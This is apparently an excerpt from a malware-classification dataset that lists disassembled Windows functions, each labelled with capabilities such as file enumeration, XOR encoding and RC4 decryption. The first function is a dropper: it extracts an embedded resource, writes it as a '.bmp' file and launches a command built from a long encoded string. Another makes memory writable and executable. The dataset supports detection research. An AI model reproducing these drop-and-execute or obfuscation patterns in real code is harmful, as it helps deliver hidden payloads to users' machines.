joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001660
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.y2bx4
call fcn.10001360
add esp, 4
test al, al
je 0x100016e9
push 2
push 0x65
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push str.h7h5578.bmp
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
mov esi, eax
mov dword [ebp - 0x20], ebx
lea eax, [ebp - 0x20]
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000176f
push 0x200
call fcn.10001e81
add esp, 4
xorps xmm0, xmm0
mov esi, eax
push 0x39
sub esp, 0x18
mov ecx, esp
push 0x2e3
movups xmmword [ecx], xmm0
push str.XHEHOFXEMFCGQFCFXFCHEEMFYHEGCHQEMHHFIFGFDFFFQEOFBEOFNGAHWHPHEHVGDHQHPEMHOFGIBFJHPFKEUHUFFHNHRFGEVFNHKHLHFFHIAFKFQFUHTHTHCIBEUEOFNEOEYEOHVEOEYEOHTEOEYEOHEEOEYEOFEEOEVFNHOFGIBFJHPFKFQHKHLHFFHIAFKEUHUFFHNHRFGEVFNHGHPHFEMHHHWHPHEHVHKHQHPFNHDHGFEFJFQEOGNEOEXHOFGIBFJHPFKEUFGEVEXEOHTHKHREOEXHOFGIBFJHPFKEUFEEVEXHOFGIBFJHPFKEUFDEVEXEOHJGOEOEXHOFGIBFJHPFKEUFEEVEXEOHRHUFNFCFCHEHQHPHVHFHMEOEXHHFIFGFDFFEXEOHDHQHWHPHEHGHOHGEOEXHHFIFGFDFFEXEOHPHGHVFCHIFEEOFNHGHXHCHNEUEOGBHGEOEXHOFGIBFJHPFKEUFEEVEXEOGJHDHLHGEOEXHOFGIBFJHPFKEUFGEVEXHOFGIBFJHPFKEUFEEVEXEOEUHDHGFEFJEVEOEVFRHPHWHNFRFWFNGWGPHUHGHTHUGWGKHWHDHNHKHEGWGYHSFLHUFEFFFBHXHDHUESHEFNGWHYHKHPHFHQHYHUGWHUIBHUHVHGHOFGFFGWHEHOHFEMFCHEEMHUHVHCHTHVEMFWFNGWGPHUHGHTHUGWGKHWHDHNHKHEGWHSFLHUFEFFFBHXHDHU
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.10001080
lea eax, [ebp - 0x1c]
push eax
call fcn.10001380
add esp, 0x20
cmp dword [eax + 0x14], 7
jbe 0x10001736
mov eax, dword [eax]
push eax
push 0x1004c7f0
push esi
call fcn.100017c0
add esp, 0xc
lea ecx, [ebp - 0x1c]
call fcn.100011f0
push 2
push esi
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp eax, 0x20
jae 0x1000176f
push 0x30
push str.Error_35
push str.Error_35
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001e8a
mov esp, ebp
pop ebp
ret 4

Function at 0x100282bb
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x100282fa
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100282fa
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100282fa
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x100282fa
cmp dword [ecx + 0x74], 0xe
jbe 0x100282fa
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x10031736
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x10031781
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.10031bd6
test al, al
jne 0x1003177b
sub edx, 2
cmp edx, edi
jne 0x10031761
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x100317a3
lea eax, [edi + 2]
cmp edx, eax
je 0x100317a3
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.100313fd
add esp, 0x10
jmp 0x1003189d
push esi
lea ecx, [ebp - 0x255]
call fcn.10031bd6
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100317e6
push dword [ebp - 0x25c]
jmp 0x10031793
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x10031823
cmp word [ebp - 0x226], 0
je 0x10031844
cmp word [ebp - 0x226], ax
jne 0x10031823
cmp word [ebp - 0x224], 0
je 0x10031844
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.100313fd
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x10031890
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x100317fd
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x10031878
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x1003189d
push 0x10030e4d
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.1003de00
add esp, 0x10
jmp 0x1003186d
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001e8a
leave
ret
Function at 0x1003326e
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1003330b
push ebx
push esi
call fcn.1003322a
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10033167
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x100332b8
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1003330a
push edi
push eax
call fcn.1002e27c
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x100332d8
call fcn.1002e242
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10033309
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10033167
add esp, 0x20
test eax, eax
jne 0x100332f7
push edi
call fcn.1002e242
jmp 0x100332ff
push ebx
call fcn.1002e242
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1003330e
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x1003331f
pop esi
ret
push ebx
push edi
push esi
call fcn.1003322a
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.1002e27c
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x10033347
push ebx
push esi
push edi
call fcn.10003690
add esp, 0xc
push 0
call fcn.1002e242
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x10033c36
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100335bc

Function at 0x10034628
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1004f33c
push 0x1004f334
push str.FlsAlloc
push 0x1f
call fcn.100342f6
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1003465c
push dword [ebp + 8]
mov ecx, esi
call dword [0x1004c16c]
call esi
jmp 0x10034662
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x100346a6
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1004f34c
push 0x1004f344
push str.FlsGetValue
push 0x21
call fcn.100342f6
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100346dd
push dword [ebp + 8]
mov ecx, esi
call dword [0x1004c16c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x100346e5
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1004f354
push 0x1004f34c
push str.FlsSetValue
push 0x22
call fcn.100342f6
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1003471f
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1004c16c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x100388d8
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.1002bec6
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x10038947
cmp esi, dword [ebp - 4]
je 0x10038942
cmp dword [ebp + 0xc], 0
je 0x10038942
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x1003891f
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.1003842a
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x10038949
xor eax, eax
inc eax
jmp 0x10038949
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x100389ae
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.1002bec6
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.1002bec6
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x10038a25
cmp word [ecx], dx
je 0x10038a25
mov eax, dword [0x1004ff84]
push edi
dec eax
push eax
push 0x1004fe70
call fcn.1003894d
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x10038a98
cmp word [eax], dx
je 0x10038a98
mov eax, dword [edi]
test eax, eax
je 0x10038a49
cmp word [eax], dx
je 0x10038a49
lea eax, [ebp - 0x10]
push eax
call fcn.10038330
jmp 0x10038a52
lea eax, [ebp - 0x10]
push eax
call fcn.100383cb
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x10038ac2
mov eax, dword [0x1004fe6c]
push dword [ebp - 0x14]
dec eax
push eax
push 0x1004fb60
call fcn.1003894d
add esp, 0xc
test al, al
je 0x10038ac2
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x10038a8d
cmp word [eax], di
je 0x10038a8d
lea eax, [ebp - 0x10]
push eax
call fcn.10038330
pop ecx
jmp 0x10038ac4
lea eax, [ebp - 0x10]
push eax
call fcn.100383cb
jmp 0x10038a8a
mov eax, dword [edi]
test eax, eax
je 0x10038aaf
cmp word [eax], dx
je 0x10038aaf
lea eax, [ebp - 0x10]
push eax
call fcn.100382c7
pop ecx
jmp 0x10038ac2
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x10038b8d
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.100387d2
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x10038b8d
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x10038b8d
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x10038b8d
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x10038b1a
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.100349b6
test ebx, ebx
je 0x10038b88
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.100349b6
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x10038b8d
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x10038b8d
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.1004021f
add esp, 0x10
xor eax, eax
inc eax
jmp 0x10038b8f
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001e8a
leave
ret
Function at 0x100429e2
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x100582d8]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x10042a22
cmp byte [ebx], 0xa
jne 0x10042a22
or byte [edi + eax + 0x28], 4
jmp 0x10042a27
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x10042b26
mov dl, byte [eax]
cmp dl, 0x1a
je 0x10042b09
inc eax
cmp dl, 0xd
je 0x10042a53
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x10042a79
cmp eax, ecx
jae 0x10042a87
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x10042a3b
jmp 0x10042b26
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10042b04
cmp dword [ebp - 0x10], 0
je 0x10042b04
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x100582d8]
test byte [eax + edi + 0x28], 0x48
je 0x10042ade
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x10042ac9
mov byte [esi], dl
jmp 0x10042ada
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x100582d8]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x10042b26
cmp byte [ebp - 1], 0xa
jne 0x10042aed
cmp esi, ebx
jne 0x10042aed
mov byte [esi], 0xa
jmp 0x10042b25
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.10042170
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x10042b26
mov byte [esi], 0xd
jmp 0x10042b25
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x100582d8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x10042b23
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x10042b26
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x10042b2f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x100582d8]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x10042b75
cmp word [ebx], dx
jne 0x10042b75
or byte [eax + edi + 0x28], 4
jmp 0x10042b7a
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x10042cdd
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x10042cbd
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x10042bbb
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x10042bf1
cmp eax, edx
jae 0x10042bff
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x10042b96
jmp 0x10042cdd
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10042cb8
cmp dword [ebp - 0x18], 0
je 0x10042cb8
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x100582d8]
test byte [eax + edi + 0x28], 0x48
je 0x10042c8e
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x10042c52
mov word [esi], cx
jmp 0x10042c89
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x100582d8]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x100582d8]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x100582d8]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x10042cdd
pop eax
cmp word [ebp - 4], ax
jne 0x10042c9e
cmp esi, ebx
jne 0x10042c9e
mov word [esi], ax
jmp 0x10042cda
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.10042170
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x10042cdd
push 0xd
pop eax
jmp 0x10042c99
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x100582d8]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x10042cd7
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x10042cdd
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x100455d0
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100454a4

Function at 0x10047920
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1004794d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1004794d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x4afce4
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
jmp 0x4afda3
cmp dword [esi + 0x10], 0x1000
jne 0x4afd8f
test byte [esi + 0x15], 1
jne 0x4afd8f
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x4afd40
cmp ebp, 2
je 0x4afd40
cmp ebp, 0x10
je 0x4afd40
cmp ebp, 0x20
jne 0x4afd5c
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4afd5c
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4afd6d
mov eax, dword [esi]
add eax, ebx
call fcn.004afcdc
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x4afd60
cmp byte [esp + 4], 0
je 0x4afd8f
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x4afd15
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x438c98
Capabilities:
Encode data using xor

Disassembly:
push 0x438a14
pop edi
sub ebx, 0xb14573b4
or edx, ebx
or ebx, ebx
call fcn.00438cd5
add edx, 0x85a0ca43
xor dword [eax], edi
add ebx, edx
inc eax
add edx, edx
or edx, ebx
cmp eax, esi
jne fcn.00438c98
sub edx, 0x324c308
mov edx, 0x417c5491
mov ebx, 0xd9aef087
ret
Function at 0x40a15c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [ebp + 0xc]
mov word [ebp + 0xc], ax
mov ebx, 0x19826993
mov eax, ebx
mul ebx
mov dword [ebp - 0x10], eax
mov ebx, eax
xor esi, esi
mov eax, ebx
mul ebx
mov dword [ebp - 0x14], eax
mov ebx, eax
mov word [ebp - 0xc], 0
jmp 0x40a272
mov eax, ebx
xor eax, ebx
mov ebx, eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.00405066
pop ecx
mov edx, eax
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
jne 0x40a1b3
mov byte [ebp - 2], 0
jmp 0x40a1dd
call fcn.0040ddd8
mov dword [ebp - 0x18], eax
mov eax, 0x7fff
mov edi, 7
movzx edx, byte [ebp - 1]
mov ecx, edi
sub ecx, edx
cdq
idiv ecx
mov ecx, eax
mov eax, dword [ebp - 0x18]
cdq
idiv ecx
mov edx, eax
mov byte [ebp - 2], dl
mov eax, dword [ebp + 8]
mov al, byte [esi + eax]
cmp al, 0x70
jb 0x40a1fc
cmp al, 0x7f
ja 0x40a1fc
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, dword [ebp + 8]
movzx eax, byte [esi + eax]
cmp eax, 0xe2
jne 0x40a21b
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 8
push 0x90
lea eax, [ebp - 0xa]
push eax
call fcn.0040ddc0
movzx eax, byte [ebp - 1]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
lea eax, [ebp - 0xa]
movzx edx, byte [ebp - 2]
add eax, edx
push eax
call fcn.0040ddb4
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 6
lea eax, [ebp - 0xa]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.0040ddb4
add esp, 0x24
mov eax, ebx
add eax, ebx
mov ebx, eax
add esi, 6
inc word [ebp - 0xc]
movzx eax, word [ebp + 0xc]
dec eax
cmp esi, eax
jb 0x40a190
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401c2e
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
and byte [ebp - 0x100], 0
push edi
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0xff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 8
lea eax, [ebp - 0x100]
push 0x404008
push eax
call fcn.00401ca0
mov ecx, 0x401bdc
mov eax, 0x4017fd
sub ecx, eax
push ecx
push eax
lea eax, [ebp - 0x100]
push eax
call fcn.00401d18
push 0x100
lea eax, [ebp - 0x100]
push 0
push eax
call fcn.004020d0
add esp, 0x24
call fcn.00401846
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401130
Capabilities:
Delete directory
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x20], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x28], eax
push 0
push 0x13
push 4
push 0x15
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], 0
jmp 0x401199
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 0x143
jge 0x4011ad
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
jmp 0x401190
jmp 0x4e4f70

Function at 0x401b99
Capabilities:
Terminate process

Disassembly:
cmp dword [0x4db144], 1
jne 0x401ba7
call fcn.00402848
jmp loc.004e652e

Function at 0x402881
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x417890
cmp edx, dword [eax]
je 0x4028a3
add eax, 8
inc ecx
cmp eax, 0x417920
jl 0x402894
push esi
mov esi, ecx
shl esi, 3
jmp 0x4e6431